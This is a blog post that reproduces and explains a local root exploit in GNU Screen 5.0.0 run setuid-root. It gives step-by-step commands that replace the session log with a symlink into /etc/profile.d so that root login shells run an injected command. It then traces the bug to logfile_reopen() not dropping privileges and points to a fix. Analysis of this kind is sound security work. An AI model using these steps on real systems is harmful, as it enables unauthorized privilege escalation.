Local Root Exploit via Setuid in GNU Screen
- posted:
2025-05-18
I recently came across a blog post from SUSE Security Team about their code audit of GNU Screen. They found several security issues and the post did a great job explaining everything, including clear steps on how to reproduce the issues. One of the issues is a local root exploit, which is caused by setting the setuid-root bit on the executable binary file "screen". Since I am a regular user of GNU screen, I thought it would be fun to try it out and explore the details to get a better understanding of how the local root exploit actually gets triggered.
The local root exploit was only found in GNU Screen version 5.0.0, and here are steps to download the source code and compile it manually:
$ wget https://ftp.gnu.org/gnu/screen/screen-5.0.0.tar.gz $ tar -zxvf screen-5.0.0.tar.gz $ cd screen-5.0.0 $ ./configure $ make
If everything works correctly, there should be a compiled binary file named "screen" in the current directory. After that, execute the following commands to change its ownership to the user "root" and set it the setuid bit:
# chown root ./screen # chmod 4755 ./screen
Now, let's run the compiled binary file and explore the local root exploit. There are various approaches, and here is a simple one to start with, which is an updated version of the original one in SUSE's post:
Run the screen program by setting the session name to "exploit", turning on logging, and setting the log file name to "screen.log"; and then immediately detach the screen session. $ ./screen -S exploit -Logfile screen.log -L (screen) $ <Ctrl-a>d Delete the log file "screen.log", and link it to a specific file "/etc/profile.d/exploit.sh". $ rm ./screen.log; ln -s /etc/profile.d/exploit.sh ./screen.log Reattach the previous screen session to run the crafted exploit command, and then exit the screen program. $ ./screen -r exploit (screen) $ echo -e "\ntouch /tmp/exploit;" (screen) $ <Ctrl-d>
This approach begins by launching the screen program with logging enabled, which creates a log file named "screen.log". The key trick here is to delete "screen.log" and replace it with a symbolic link to a non-existent file called "exploit.sh" located in the directory "/etc/profile.d/", which contains shell profile scripts that are automatically executed when a user logs into a shell. Once the symbolic link is in place, screen recreates the log file, which is now "exploit.sh", with root privileges. Finally, a crafted command is echoed into the log file - now pointing to "exploit.sh" - effectively turning it into a shell script that will be executed during the next shell login, potentially leading to privilege escalation.
To confirm the success of the exploit, start a new shell session as root and verify that the file /tmp/exploit exists and has root ownership:
A login shell is enabled by using the option "-l", ensurng that the shell reads and executes the content of the file "/etc/profile.d/exploit.sh" # sh -l # ls -l /tmp/expliot -rw-r--r-- 1 root root 0 May 18 13:45 /tmp/exploit
Now, let's dive into the source code. Although the program initially launched by a regular user, it runs with root privileges due to the setuid-root bit. When creating the log file for the first time, the program calls the function secopen(), which safely drop the root privileges before creating the log file. However, if the log file is later moved, removed, or truncated, the program detects the change and calls the function logfile_reopen() to reopen/recreate the file, but without dropping root privileges this time. As a result, the log file is reopened/recreated with root ownership, which allows the unprivileged user to open and update files owned by the root user.
To address this issue, the funtion logfile_reopen() should drop root privileges before opening the log file - see this patch for a complete solution - like how the function seteuid() [1] is used to switch between the regular user and the root user in the funciton secopen():
int secopen(char *name, int flags, int mode) { int fd; xseteuid(real_uid); xsetegid(real_gid); fd = open(name, flags, mode); xseteuid(eff_uid); xsetegid(eff_gid); return fd; }
Thanks for reading :)